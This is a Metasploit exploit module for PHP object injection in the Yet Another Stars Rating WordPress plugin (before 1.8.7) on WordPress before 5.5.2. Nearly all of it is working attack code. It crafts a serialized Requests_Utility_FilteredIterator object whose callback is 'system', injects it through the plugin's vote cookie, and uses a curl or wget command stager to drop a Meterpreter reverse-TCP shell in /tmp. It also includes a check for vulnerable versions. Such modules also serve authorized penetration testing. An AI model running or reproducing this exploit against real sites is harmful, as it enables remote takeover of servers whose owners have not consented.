class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress PHP Object Injection in Yet Another Stars Rating plugin < 1.8.7',
'Description' => %q{
This module exploits Wordpress PHP Object Injection in Yet Another Stars Rating plugin < 1.8.7.
The vulnerability is exploitable if there is the Wordpress site uses a 'yasr_visitor_votes'
shortcode in a page (authenticated or not).
This exploit uses the Requests_Utility_FilteredIterator as WP core class to exploit deserialization.
The class allows to send an array and a callback in the constructur, and it will be called in every foreach loop.
As the vulnerable module uses the unserialized cookie for a foreach loop, it is possible to exploit this behaviour
to exploit the vulnerability.
Wordpress disable deserialization for Requests_Utility_FilteredIterator in Wordpress >= 5.5.2, so the exploit only
works for Wordpress versions < 5.5.2.
Tested on:
- Wordpress 5.4.1,
- Yet Another Stars rating plugin = 1.8.6
- php 5.6 (in php7 you should customize the serialization payload to try the exploitation)
},
'Author' =>
[
'Paul Dannewitz', # Vulnerability Discovery
'gx1 <g.per45[at]gmail.com>', # Exploit Developer
],
'Platform' => 'linux',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl'
},
'CmdStagerFlavor' => ['curl', 'wget'],
'References' =>
[
['URL', 'https://wpscan.com/vulnerability/9207'],
['URL', 'https://dannewitz.ninja/posts/php-unserialize-object-injection-yet-another-stars-rating-wordpress'],
['URL', 'https://www.cybersecurity-help.cz/vulnerabilities/17273/'],
['URL', 'https://cybersecsi.com/study-php-unserialize-object-injection-in-yet-another-stars-rating-plugin-by-using-docker-security-playground/'] # Exploit development explanation
],
'License' => MSF_LICENSE
))
register_options([
OptString.new('PATH_CONTAINING_YASR_SHORTCODE', [true, 'The path containing yasr_visitor_votes shortcode', '/'] ),
OptBool.new('REQUIRE_LOGIN', [true, 'If you need login to view tha path containing yasr shortcode', false] ),
OptString.new('USERNAME', [false, 'The Wordpress username to authenticate with'] ),
OptString.new('PASSWORD', [false, 'The Wordpress username to authenticate with'] )
])
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
])
end
def yasr_path
return datastore['PATH_CONTAINING_YASR_SHORTCODE']
end
def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
end
def username
return datastore['USERNAME']
end
def password
return datastore['PASSWORD']
end
def require_login
return datastore['REQUIRE_LOGIN']
end
def check
if not wordpress_and_online?
print_error("#{target_uri} does not seem to be WordPress site")
return
end
version = wordpress_version
if not version.nil?
print_status("#{target_uri} - WordPress Version #{version} detected") if version
if Gem::Version.new(version) >= Gem::Version.new("5.5.2")
print_bad("Version higher or equal to 5.5.2")
return CheckCode::Safe
end
return check_plugin_version_from_readme('yet-another-stars-rating', '1.8.7')
end
return CheckCode::Unknown
end
def serialized_payload(p)
return "C%3A33%3A%22Requests_Utility_FilteredIterator%22%3A#{p.length + 63 + p.length.digits.length }%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A#{p.length}%3A%22#{URI.encode_www_form_component(p)}%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A6%3A%22system%22%3B%7D%7D"
end
def exploit
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
if require_login
print_status("Authentication required, try to login")
cookie = wordpress_login(username, password)
if cookie
print_status("Login successed")
else
fail_with('Authentication failed', "Unable to login")
end
else # No login: empty cookie
cookie = ""
end
print_status("Run exploit")
print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
@cmdstager = generate_cmdstager(
temp: datastore['WritableDir'],
file: File.basename(cmdstager_path)
).join(';')
register_file_for_cleanup(cmdstager_path)
sp = serialized_payload(@cmdstager)
print_status("Send serialized payload: #{sp}")
cookie = "#{cookie} yasr_visitor_vote_cookie=#{sp}"
res = send_request_cgi({
'method' => 'GET',
'uri' => yasr_path,
'cookie' => cookie},
1)
end
end